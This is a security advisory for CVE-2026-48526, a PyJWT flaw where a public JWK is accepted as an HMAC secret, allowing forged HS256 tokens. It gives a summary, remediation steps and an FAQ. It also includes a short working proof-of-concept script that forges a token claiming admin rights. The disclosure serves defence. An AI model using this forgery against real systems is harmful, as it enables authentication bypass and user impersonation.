CVE-2026-48526: PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
> [!NOTE] > Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.
Summary When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.
Details In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example: jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"]))
An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.
If we look on current protections implemented in the library, at class HMACAlgorithm:
def preparekey(self, key: str | bytes) -> bytes: keybytes = forcebytes(key)
if ispemformat(keybytes) or issshkey(keybytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." )
return keybytes We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.
In The following example: jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"])) There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.
The bypass happens only if the verifier: (a) allows HS and an asymmetric algorithm in the same call and (b) passes a public-key value as key.
PoC Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')
from jwt.apijws import PyJWS import json, base64, hmac, hashlib
def b64u(b): return base64.urlsafeb64encode(b).rstrip(b"=")
Public RSA JWK (public by design) rsajwkjson = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})
Attacker-crafted token: flip to HS256 and choose claims header = b64u(b'{"alg":"HS256","typ":"JWT"}') payload = b64u(b'{"sub":"alice","admin":true}') signing = header + b"." + payload
Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret” sig = hmac.new(rsajwkjson.encode(), signing, hashlib.sha256).digest() token = (signing + b"." + b64u(sig)).decode()
Vulnerable verifier: mixed families + JWK JSON string as key jws = PyJWS() print(jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"])) -> b'{"sub":"alice","admin":true}'
Impact Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).
Other sources
PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, when the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm. This vulnerability is fixed in 2.13.0.
— NVD
PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed
— Microsoft
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/pyjwtto a version that resolves this vulnerability.Fixed in 2.13.0 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 2.13.0-1 - Upgrade
Upgrade
PyJWTto a version that resolves this vulnerability.Fixed in 2.13.0 - Configuration
Ensure the verifier is not configured with both symmetric (HS*) and asymmetric (RS*/ES*) algorithms in the same decode call (the bypass requires mixed families in algorithms=[…]).
PyJWT verifier (jws.decode) algorithms = Use only one family (either symmetric HMAC algorithms like HS* or asymmetric algorithms like RS*/ES*) - Configuration
When using HMAC algorithms (HS*), pass an actual shared secret; do not use a raw-JSON JWK value (e.g., rsa_jwk_json JSON text) as the HMAC key. The vulnerability occurs because the verifier accepted the JWK JSON value as the HMAC secret when mixed families were allowed.
PyJWT verifier (jws.decode) key (JWK usage) = Do not pass raw JSON Web Key (JWK) JSON text as the key for HMAC verification
Event History
Frequently Asked Questions
What is the severity of CVE-2026-48526?
The severity of CVE-2026-48526 is high, rated at 7.4.
How do I fix CVE-2026-48526?
To fix CVE-2026-48526, upgrade PyJWT to version 2.13.0 or later.
What type of vulnerability is CVE-2026-48526?
CVE-2026-48526 is a vulnerability that allows forged HS256 tokens due to improper validation of public-key JWKs as HMAC secrets.
What impact does CVE-2026-48526 have on security?
CVE-2026-48526 allows attackers to forge tokens which can lead to unauthorized access or data breaches.
Which library is affected by CVE-2026-48526?
CVE-2026-48526 affects the PyJWT library, a JSON Web Token implementation in Python.